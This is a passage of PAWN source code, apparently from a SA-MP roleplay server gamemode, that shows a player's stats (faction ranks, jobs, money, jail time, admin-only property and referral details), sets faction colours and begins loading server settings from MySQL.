			else if(PlayerInfo[targetid][pMember] == 6 || PlayerInfo[targetid][pLeader] == 6)//The Killers Family Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Don The Killers"; }

			}
			else if(PlayerInfo[targetid][pMember] == 7 || PlayerInfo[targetid][pLeader] == 7)//Mayor ranks
			{
				if(PlayerInfo[targetid][pRank] == 7) { rtext = "Mayor"; }

			}
			else if(PlayerInfo[targetid][pMember] == 8 || PlayerInfo[targetid][pLeader] == 8)//Hitman Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "FreeLancer"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Marksman"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Agent"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Special Agent"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Vice-Director"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Co-Director"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Director"; }

			}
			else if(PlayerInfo[targetid][pMember] == 9 || PlayerInfo[targetid][pLeader] == 9)//NR Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Intern"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Intern"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Local Reporter"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Local Editor"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Network Anchor"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Network Editor"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Network Producer"; }
			}
			else if(PlayerInfo[targetid][pMember] == 10 || PlayerInfo[targetid][pLeader] == 10)//Taxi Company Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Trainee"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Trainee"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Taxi Rookie"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Cabbie"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Dispatcher"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Shift Supervisor"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Taxi Company Owner"; }
			}
			else if(IsAnInstructor(targetid))//Driving/Flying School Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Trainee"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Trainee"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Instructor"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Senior Instructor"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Manager"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Under Boss"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Boss"; }
			}
			else if(PlayerInfo[targetid][pMember] == 12 || PlayerInfo[targetid][pLeader] == 12)//Dangerous Tigers Family Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Don Dangerous Tiger"; }

			}
			else if(PlayerInfo[targetid][pMember] == 17 || PlayerInfo[targetid][pLeader] == 17)//Hacker Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "New Hacker"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Trial Hacker"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Hacker"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Perfect Hacker"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Old Hacker"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Private Hacker"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Hackers Leader"; }

			}
			else if(PlayerInfo[targetid][pMember] == 19 || PlayerInfo[targetid][pLeader] == 19)//Dangerous Tigers Family Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "1"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "2"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "3"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "4"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "5"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Sub-Leader"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Leader"; }

			}
			else if(PlayerInfo[targetid][pMember] == 20 || PlayerInfo[targetid][pLeader] == 20)//Dangerous Tigers Family Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "1"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "2"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "3"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "4"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "5"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Sub-Leader"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Leader"; }

			}
			else if(PlayerInfo[targetid][pMember] == 13 || PlayerInfo[targetid][pLeader] == 13)//Legendary Men Family Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Don Legendary Men"; }

			}
			else if(PlayerInfo[targetid][pMember] == 14 || PlayerInfo[targetid][pLeader] == 14)//Fast N Furious Family Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Don The Fast N Furious"; }

			}
			else if(PlayerInfo[targetid][pMember] == 15 || PlayerInfo[targetid][pLeader] == 15)//sm Family Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Don Storm Men"; }

			}
			else if(PlayerInfo[targetid][pMember] == 16 || PlayerInfo[targetid][pLeader] == 16)//TCC Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Trainee"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Trainee"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Mechanic"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Senior Mechanic"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Manager"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Co-Leader"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Leader"; }
			}
	   else
	   {
		  rtext = "None";
	   }
	   new jtext[20];
	   if(PlayerInfo[targetid][pJob] == 1) { jtext = "Detective"; }
	   else if(PlayerInfo[targetid][pJob] == 2) { jtext = "Lawyer"; }
	   else if(PlayerInfo[targetid][pJob] == 4) { jtext = "Drugs Dealer"; }
	   else if(PlayerInfo[targetid][pJob] == 5) { jtext = "Car Jacker"; }
	   else if(PlayerInfo[targetid][pJob] == 7) { jtext = "Car Mechanic"; }
	   else if(PlayerInfo[targetid][pJob] == 9) { jtext = "Arms Dealer"; }
	   else if(PlayerInfo[targetid][pJob] == 14) { jtext = "Bus Driver"; }
	   else if(PlayerInfo[targetid][pJob] == 16) { jtext = "Trucker"; }
	   else if(PlayerInfo[targetid][pJob] == 18) { jtext = "Farmer"; }
	   else if(PlayerInfo[targetid][pJob] == 20) { jtext = "Garbage man"; }
		else if(PlayerInfo[targetid][pJob] == 21) { jtext = "Pizza Boy"; }
		else if(PlayerInfo[targetid][pJob] == 22) { jtext = "Sweeper"; }
		else if(PlayerInfo[targetid][pJob] == 23) { jtext = "Liquor Dealer"; }
		else if(PlayerInfo[targetid][pJob] == 24) { jtext = "Oil Dealer"; }
	   else { jtext = "Unemployed"; }
	   new drank[50];
	   if(PlayerInfo[targetid][pPremiumAccount] == 1) {

		format(drank, sizeof(drank), "Yes, %d days left",PINFO[targetid][pPDay]);
		}
		/*
		else if(PlayerInfo[targetid][pPremiumAccount] == 2) {
		format(drank, sizeof(drank), "Yes, Level 2 [until %d days]",PINFO[targetid][pPDay]);
		}
		*/
	   else { drank = "No"; }
//	   new hagra = PlayerInfo[targetid][pHAgr];
	   new jailed = PlayerInfo[targetid][pJailTime];
	   new jailtext[20];
	   new hagrtext[20];
	   new viptxt[20];
	   new jlic[20];
	   if(PlayerInfo[targetid][pJob]==PlayerInfo[targetid][pSoldier]) { jlic = "Yes"; }
	   if(PlayerInfo[targetid][pJob]!=PlayerInfo[targetid][pSoldier]) { jlic = "No"; }
	   if(PlayerInfo[targetid][pHAgr] < 1) { hagrtext = "No"; }
	   if(PlayerInfo[targetid][pHAgr] >= 1) { hagrtext = "Yes"; }
	   if(PlayerInfo[targetid][pJailTime] < 1) { jailtext = "No"; }
	   if(PlayerInfo[targetid][pJailTime] >= 1) { jailtext = "Yes"; }
	   if(PlayerInfo[targetid][pVip] == 1) { viptxt = "Yes"; }
	   if(PlayerInfo[targetid][pVip] == 0) { viptxt = "No"; }
		//new card[40];
		//if(PINFO[targetid][pCard] == 1) {card = "Yes";}
	   //else if(PINFO[targetid][pCard] == 3) {format(card, sizeof(card), "No, soldier for %d hours",PINFO[targetid][pSoldier]);}
		//else  {card = "No";}
/*		new DetSkill,LawSkill,DrugsSkill,JackSkill,NewsSkill,MechSkill,MatsSkill;
		new pLawSkillx = PINFO[targetid][pLawSkill];
		new pDetSkillx = PINFO[targetid][pDetSkill];
		new pDrugsSkillx = PINFO[targetid][pDrugsSkill];
		new pJackSkillx = PINFO[targetid][pJackSkill];
		new pNewsSkillx = PINFO[targetid][pNewsSkill];
		new pMechSkillx = PINFO[targetid][pMechSkill];
		new pMatsSkillx = PINFO[targetid][pMatsSkill];
		//new pRobSkillx = PINFO[targetid][pRobSkill];

		if(pDetSkillx >= 0 && pDetSkillx <= 49) {DetSkill = 1;}
		else if(pDetSkillx >= 50 && pDetSkillx <= 99) {DetSkill = 2; }
		else if(pDetSkillx >= 100 && pDetSkillx <= 199) { DetSkill = 3; }
		else if(pDetSkillx >= 200 && pDetSkillx <= 399) { DetSkill = 4; }
		else if(pDetSkillx >= 400) { DetSkill = 5; }

		if(pLawSkillx >= 0 && pLawSkillx <= 49) {LawSkill = 1;}
		else if(pLawSkillx >= 50 && pLawSkillx <= 99) {LawSkill = 2; }
		else if(pLawSkillx >= 100 && pLawSkillx <= 149) { LawSkill = 3; }
		else if(pLawSkillx >= 150 && pLawSkillx <= 199) { LawSkill = 4; }
		else if(pLawSkillx >= 200) { LawSkill = 5; }


		if(pDrugsSkillx >= 0 && pDrugsSkillx <= 49) {DrugsSkill = 1;}
		else if(pDrugsSkillx >= 50 && pDrugsSkillx <= 99) {DrugsSkill = 2; }
		else if(pDrugsSkillx >= 100 && pDrugsSkillx <= 199) { DrugsSkill = 3; }
		else if(pDrugsSkillx >= 200 && pDrugsSkillx <= 399) { DrugsSkill = 4; }
		else if(pDrugsSkillx >= 400) { DrugsSkill = 5; }

		if(pJackSkillx >= 0 && pJackSkillx <= 49) {JackSkill = 1;}
		else if(pJackSkillx >= 50 && pJackSkillx <= 99) {JackSkill = 2; }
		else if(pJackSkillx >= 100 && pJackSkillx <= 199) { JackSkill = 3; }
		else if(pJackSkillx >= 200 && pJackSkillx <= 399) { JackSkill = 4; }
		else if(pJackSkillx >= 400) { JackSkill = 5; }

		if(pNewsSkillx >= 0 && pNewsSkillx <= 49) {NewsSkill = 1;}
		else if(pNewsSkillx >= 50 && pNewsSkillx <= 99) {NewsSkill = 2; }
		else if(pNewsSkillx >= 100 && pNewsSkillx <= 199) { NewsSkill = 3; }
		else if(pNewsSkillx >= 200 && pNewsSkillx <= 399) { NewsSkill = 4; }
		else if(pNewsSkillx >= 400) { NewsSkill = 5; }

		if(pMechSkillx >= 0 && pMechSkillx <= 49) {MechSkill = 1;}
		else if(pMechSkillx >= 50 && pMechSkillx <= 99) {MechSkill = 2; }
		else if(pMechSkillx >= 100 && pMechSkillx <= 199) { MechSkill = 3; }
		else if(pMechSkillx >= 200 && pMechSkillx <= 399) { MechSkill = 4; }
		else if(pMechSkillx >= 400) { MechSkill = 5; }

		if(pMatsSkillx >= 0 && pMatsSkillx <= 49) {MatsSkill = 1;}
		else if(pMatsSkillx >= 50 && pMatsSkillx <= 99) {MatsSkill = 2; }
		else if(pMatsSkillx >= 100 && pMatsSkillx <= 199) { MatsSkill = 3; }
		else if(pMatsSkillx >= 200 && pMatsSkillx <= 299) { MatsSkill = 4; }
		else if(pMatsSkillx >= 300) { MatsSkill = 5; }

		if(pRobSkillx >= 0 && pRobSkillx <= 19) {RobSkill = 1;}
		else if(pRobSkillx >= 20 && pRobSkillx <= 49) {RobSkill = 2; }
		else if(pRobSkillx >= 50 && pRobSkillx <= 74) { RobSkill = 3; }
		else if(pRobSkillx >= 75 && pRobSkillx <= 99) { RobSkill = 4; }
		else if(pRobSkillx >= 100) { RobSkill = 5; }
*/

	   new married[20];
	   strmid(married, PlayerInfo[targetid][pMarriedTo], 0, strlen(PlayerInfo[targetid][pMarriedTo]), 255);
	   new ptime = PlayerInfo[targetid][pConnectTime];
	   new afktime = PlayerInfo[targetid][pAFKtime];
	   new lotto = PlayerInfo[targetid][pLottoNr];
	   new crimes = PlayerInfo[targetid][pCrimes];
	   new arrests = PlayerInfo[targetid][pArrested];
	   new drugs = PlayerInfo[targetid][pDrugs];
	   new mats = PlayerInfo[targetid][pMats];
	   new level = PlayerInfo[targetid][pLevel];
//	   new coordsstrings[128];
	   new exp = PlayerInfo[targetid][pExp];
	   new pnumber = PlayerInfo[targetid][pPnumber];
	   new nxtlevel = PlayerInfo[targetid][pLevel]+1;
	   new expamount;
	   new costlevel = nxtlevel*levelcost;//25k for testing purposes
		if(nxtlevel < 8) {expamount = nxtlevel*2;}
		else if(nxtlevel < 15 && nxtlevel > 7) {expamount = nxtlevel*3;}
		else if(nxtlevel > 14) {expamount = nxtlevel*4;}
	   new account = PlayerInfo[targetid][pAccount];
	   new cash = GetPlayerPool(targetid);
	   //new robstat = PlayerInfo[targetid][pRob];
	   new Float:health;
	   new hkey = PlayerInfo[targetid][pPhousekey];
	   new bkey = PlayerInfo[targetid][pPbiskey];
	   new ckey = PlayerInfo[targetid][pCar_1];
	   new ckey2 = PINFO[targetid][pCar_2];
//		new ckey3 = PINFO[targetid][pCar_3];
//		new ckey4 = PINFO[targetid][pCar_4];
//		new ckey5 = PINFO[targetid][pCar_5];
//		new ckey6 = PINFO[targetid][pCar_6];

		new vckey = PlayerInfo[targetid][pVeh1];
	   new vckey2 = PINFO[targetid][pVeh2];
//		new vckey3 = PINFO[targetid][pVeh3];
//		new vckey4 = PINFO[targetid][pVeh4];
//		new vckey5 = PINFO[targetid][pVeh5];
//		new vckey6 = PINFO[targetid][pVeh6];

	   new warnp = PlayerInfo[targetid][pWarns];
	   new fwarns = PlayerInfo[targetid][pFwarn];
	   new srob = PlayerInfo[targetid][pSRob];
	   new name[MAX_PLAYER_NAME];
	   new punish = PlayerInfo[targetid][pPunish];
	   new approval = PlayerInfo[targetid][pApproval]
	   new lawyerpoint = PlayerInfo[targetid][pLawyerPoint]
	   GetPlayerName(targetid, name, sizeof(name));
	   GetPlayerHealth(targetid,health);
	   new Float:px,Float:py,Float:pz;
	   GetPlayerPos(targetid, px, py, pz);
	   new ilpoint = PINFO[targetid][pIlPoints];
	   new hpoint = PINFO[targetid][pHackPoints];
	   new coordsstring[144];
	   new robpo = PlayerInfo[targetid][pRob];
	   
	   SendMessage(playerid, CRISTIAN,"_______________________________________________");
	   format(coordsstring, sizeof(coordsstring),"*** %s (%d) ***",name,targetid);
	   SCM(playerid, COLOR_CRS5, coordsstring);
	   format(coordsstring, sizeof(coordsstring), "Level:[%d] Sex:[%s] Cash:[$%s] Bank:[$%s] PhoneNr:[%s]", level,atext,FormatNumber(cash),FormatNumber(account),FormatPhoneNumber(pnumber));
	   SCM(playerid, COLOR_CRS5, coordsstring);
	   format(coordsstring, sizeof(coordsstring), "Hours Played:[%d] AFK Time:[%d] TimesArrested:[%d] Respect:[%d/%d] Level up:[$%s] Premium Account:[%s]", ptime,afktime,arrests,exp,expamount,FormatNumber(costlevel),drank);
	   SCM(playerid, COLOR_CRS5, coordsstring);
	   if(jailed)
	   {
	   format(coordsstring, sizeof(coordsstring), "Crimes:[%d] Drugs:[%d] Materials:[%d] Jailed:[%s, %d Sec] Lotto Number:[%d] Job:[%s] Rob Points:[%d] ShopRobPoints:[%d]", crimes,drugs,mats,jailtext,jailed,lotto,jtext,robpo,srob);
	   SCM(playerid, COLOR_CRS5, coordsstring);
		}
	   else
	   {
	   format(coordsstring, sizeof(coordsstring), "Crimes:[%d] Drugs:[%d] Materials:[%d] Jailed:[%s] Lotto Number:[%d] Job:[%s] Rob Points:[%d] ShopRobPoints:[%d]", crimes,drugs,mats,jailtext,lotto,jtext,robpo,srob);
	   SCM(playerid, COLOR_CRS5, coordsstring);
		}

	   format(coordsstring, sizeof(coordsstring), "Married With:[%s] Faction:[%s] Rank:[%s] FactionWarns:[%d/3] FPunish:[%d/80] Warns:[%d/3]", married,ttext,rtext,fwarns,punish,warnp);
	   SCM(playerid, COLOR_CRS5, coordsstring);
		new total = ptime + afktime;
	   format(coordsstring, sizeof(coordsstring), "Rep Point:[%i] Golds:[%i] Total Played:[%d] Boxes:[%d] IllicitPoints:[%d] VIP:[%s] JobLicense:[%s]",PlayerInfo[targetid][pRep],PlayerInfo[targetid][pGold],total,PlayerInfo[targetid][pBox], ilpoint, viptxt, jlic);
	   SCM(playerid, COLOR_CRS5, coordsstring);
	   if(PINFO[targetid][pNCard]==0)
	   {
		format(coordsstring, sizeof(coordsstring), "SIM Charge:[$%s] Email:[%s] Grapes:[%s] Liquors:[%s] Buffs:[%s] %ss:[%f]",FormatNumber(PINFO[playerid][pCharge]), PINFO[targetid][pEmail], FormatNumber(PINFO[targetid][pDJ]), FormatNumber(PINFO[targetid][pGMute]), FormatNumber(PINFO[targetid][pBuff]), GetCoinName(), PINFO[targetid][pCoins]);
	   SCM(playerid, COLOR_CRS5, coordsstring);
	   }
	   else
	   {
		format(coordsstring, sizeof(coordsstring), "SIM Charge:[$%s] Email:[%s] CardExpire:[%d] CardNumber:[098-%d] Grapes:[%s] Liquors:[%s] Buffs:[%s] %ss:[%f]",FormatNumber(PINFO[playerid][pCharge]), PINFO[targetid][pEmail], PINFO[targetid][pNCard], PINFO[targetid][pNCNum], FormatNumber(PINFO[targetid][pDJ]), FormatNumber(PINFO[targetid][pGMute]), FormatNumber(PINFO[targetid][pBuff]), GetCoinName(), PINFO[targetid][pCoins]);
	   SCM(playerid, COLOR_CRS5, coordsstring);
	   }

	   if (PlayerInfo[targetid][pMember] == 1 || PlayerInfo[targetid][pLeader] == 1 || PlayerInfo[targetid][pMember] == 2 || PlayerInfo[targetid][pLeader] == 2 || PlayerInfo[targetid][pMember] == 3 || PlayerInfo[targetid][pLeader] == 3 || PlayerInfo[targetid][pMember] == 20 || PlayerInfo[targetid][pLeader] == 20)
	   {
	   format(coordsstring, sizeof(coordsstring), "Faction Stats: Lawyer Points:[%d]", lawyerpoint);
	   SCM(playerid, COLOR_CRS5, coordsstring);
	   }

	   if (PlayerInfo[targetid][pJob] == 2)
	   {
	   format(coordsstring, sizeof(coordsstring), "Job's Stats: Approval:[%d]", approval);
	   SCM(playerid, COLOR_CRS5, coordsstring);
	   }
	   if (PlayerInfo[targetid][pMember] == 17 || PlayerInfo[targetid][pLeader] == 17)
	   {
	   format(coordsstring, sizeof(coordsstring), "Faction Stats: HackPoints:[%d]", hpoint);
	   SCM(playerid, COLOR_CRS5, coordsstring);
	   }
		  if (PlayerInfo[playerid][pAdmin] != 0 || PlayerInfo[playerid][pHelper] != 0 || PlayerInfo[playerid][pLeader] != 0)
		  {
		  format(coordsstring, sizeof(coordsstring), "AV:[%i] DaysInStaff:[%d] StaffPoint:[%d] Point:[%d]",PINFO[targetid][pAav], PINFO[targetid][pStaffDays], PINFO[targetid][pSPoint], PINFO[targetid][pPoint]);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }
		  if (PlayerInfo[playerid][pAdmin] >= 1)
		  {
		  if(PINFO[playerid][pReferral] != 0)
		  {
	      if(bkey < 500)
	      {
		  format(coordsstring, sizeof(coordsstring), "House:[%d] Biz:[%d] ReferralID:[%d] UserOfReferral:[%d]",hkey,bkey,PINFO[targetid][pID],PINFO[targetid][pReferral]);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }
	      if(bkey >= 500)
	      {
	      if(bkey != 9999)
	      {
		  format(coordsstring, sizeof(coordsstring), "House:[%d] SBiz:[%d] ReferralID:[%d] UserOfReferral:[%d]",hkey,bkey-500,PINFO[targetid][pID],PINFO[targetid][pReferral]);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }
	      if(bkey == 9999)
	      {
		  format(coordsstring, sizeof(coordsstring), "House:[%d] Biz:[No] ReferralID:[%d] UserOfReferral:[%d]",hkey,PINFO[targetid][pID],PINFO[targetid][pReferral]);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }
		  }
		  }
		  else if(PINFO[playerid][pReferral] == 0)
		  {
	      if(bkey < 500)
	      {
		  format(coordsstring, sizeof(coordsstring), "House:[%d] Biz:[%d] ReferralID:[%d]",hkey,bkey,PINFO[targetid][pID]);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }
	      if(bkey >= 500)
	      {
	      if(bkey != 9999)
	      {
		  format(coordsstring, sizeof(coordsstring), "House:[%d] SBiz:[%d] ReferralID:[%d]",hkey,bkey-500,PINFO[targetid][pID]);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }
		  if(bkey == 9999)
		  {
		  format(coordsstring, sizeof(coordsstring), "House:[%d] Biz:[No] ReferralID:[%d]",hkey,PINFO[targetid][pID]);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }
		  }
		  }
		  if(TooBiz[targetid] >= 500)
		  {
		  if(TooBiz[targetid] != 9999)
		  {
			format(coordsstring, sizeof(coordsstring), "RentKey:[%d] Interior:[%d] VirtualWorld:[%d] Zone:[%d] InHouse:[%d] InBiz:[%d]",RentedVehicle[targetid],GetPlayerInterior(targetid),GetPlayerVirtualWorld(targetid),Mahal[targetid],TooHouse[targetid],TooBiz[targetid]);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }
		  if(TooBiz[targetid] == 9999)
		  {
			format(coordsstring, sizeof(coordsstring), "RentKey:[%d] Interior:[%d] VirtualWorld:[%d] Zone:[%d] InHouse:[%d] InBiz:[No]",RentedVehicle[targetid],GetPlayerInterior(targetid),GetPlayerVirtualWorld(targetid),Mahal[targetid],TooHouse[targetid]);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }
		  }
		  if(TooBiz[targetid] < 500)
		  {
			format(coordsstring, sizeof(coordsstring), "RentKey:[%d] Interior:[%d] VirtualWorld:[%d] Zone:[%d] InHouse:[%d] InBiz:[%d]",RentedVehicle[targetid],GetPlayerInterior(targetid),GetPlayerVirtualWorld(targetid),Mahal[targetid],TooHouse[targetid],TooBiz[targetid]);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }
		  format(coordsstring, sizeof(coordsstring), "Veh1:[%d] Veh2:[%d] Car1:[%d] Car2:[%d]",vckey,vckey2,ckey,ckey2);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }
		  if (PlayerInfo[targetid][pAdmin] == 7 || PlayerInfo[targetid][pAdmin] == 8 || PlayerInfo[targetid][pAdmin] == 9)
		  {
			format(coordsstring, sizeof(coordsstring), "Hoster day(s) remaining:[%d] HosterLicense:[%s]",PINFO[targetid][pHDay], hagrtext);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }
		  if (PlayerInfo[targetid][pSponser] == 1)
		  {
			format(coordsstring, sizeof(coordsstring), "Sponsor day(s) remaining:[%d]",PINFO[targetid][pSDay]);
		  SCM(playerid, COLOR_CRS5, coordsstring);
		  }


	   }
	   SendMessage(playerid, CRISTIAN,"_______________________________________________");
	   
	}
//---------------------------------------------------------

public SetPlayerToTeamColor(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   SetPlayerColor(playerid,TEAM_HIT_COLOR); // white
	   if (PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pLeader] == 1)
	   SetPlayerColor(playerid,COLOR_PD);
	   if (PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
	   SetPlayerColor(playerid,COLOR_DEA);
	   if (PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
	   SetPlayerColor(playerid,COLOR_NG);
	   if (PlayerInfo[playerid][pMember] == 4 || PlayerInfo[playerid][pLeader] == 4)
	   SetPlayerColor(playerid,COLOR_MEDIC);
	   if (PlayerInfo[playerid][pMember] == 5 || PlayerInfo[playerid][pLeader] == 5)
	   SetPlayerColor(playerid,COLOR_CHICHPGO);
	   if (PlayerInfo[playerid][pMember] == 6 || PlayerInfo[playerid][pLeader] == 6)
	   SetPlayerColor(playerid,COLOR_Triads);
	   if (PlayerInfo[playerid][pMember] == 7 || PlayerInfo[playerid][pLeader] == 7)
	   SetPlayerColor(playerid,COLOR_MAYOR);
	   if (PlayerInfo[playerid][pMember] == 8 || PlayerInfo[playerid][pLeader] == 8)
	   SetPlayerColor(playerid,COLOR_HITMAN);
	   if (PlayerInfo[playerid][pMember] == 9 || PlayerInfo[playerid][pLeader] == 9)
	   SetPlayerColor(playerid,COLOR_NEWS);
	   if (PlayerInfo[playerid][pMember] == 10 || PlayerInfo[playerid][pLeader] == 10)
	   SetPlayerColor(playerid,COLOR_TAXI);
	   if (PlayerInfo[playerid][pMember] == 11 || PlayerInfo[playerid][pLeader] == 11)
	   SetPlayerColor(playerid,COLOR_SI);
	   if (PlayerInfo[playerid][pMember] == 12 || PlayerInfo[playerid][pLeader] == 12)
	   SetPlayerColor(playerid,COLOR_GroveStreet);
	   if (PlayerInfo[playerid][pMember] == 13 || PlayerInfo[playerid][pLeader] == 13)
	   SetPlayerColor(playerid,COLOR_Vagos);
	   if (PlayerInfo[playerid][pMember] == 14 || PlayerInfo[playerid][pLeader] == 14)
	   SetPlayerColor(playerid,COLOR_TBF);
	  if (PlayerInfo[playerid][pMember] == 15 || PlayerInfo[playerid][pLeader] == 15)
	   SetPlayerColor(playerid,COLOR_VLA);
	   if (PlayerInfo[playerid][pMember] == 16 || PlayerInfo[playerid][pLeader] == 16)
	   SetPlayerColor(playerid,COLOR_TCC);
	   if (PlayerInfo[playerid][pMember] == 17 || PlayerInfo[playerid][pLeader] == 17)
	   SetPlayerColor(playerid,COLOR_HACKER);
	   if (PlayerInfo[playerid][pMember] == 19 || PlayerInfo[playerid][pLeader] == 19)
	   SetPlayerColor(playerid,COLOR_TopBoys);
	   if (PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
	   SetPlayerColor(playerid,COLOR_SFPD);
		if (PlayerInfo[playerid][pLeader] == 21)
	   SetPlayerColor(playerid,COLOR_SSH);
	}
}
/*----------------------------------------------------------------------------*/
public LoadStuff()
{
	print("\nLoading Stuff ...\n");
	mysql_function_query(handle,"SELECT * FROM `server`",true,"OnStuffLoad","");
	return 1;
}
forward OnStuffLoad();
public OnStuffLoad()
{
	Jackpot = cache_get_row_int(0,0,handle);
	Tax = cache_get_row_int(0,1,handle);
	TaxValue = cache_get_row_int(0,2,handle);
	MostPlayersOnline = cache_get_row_int(0,4,handle);
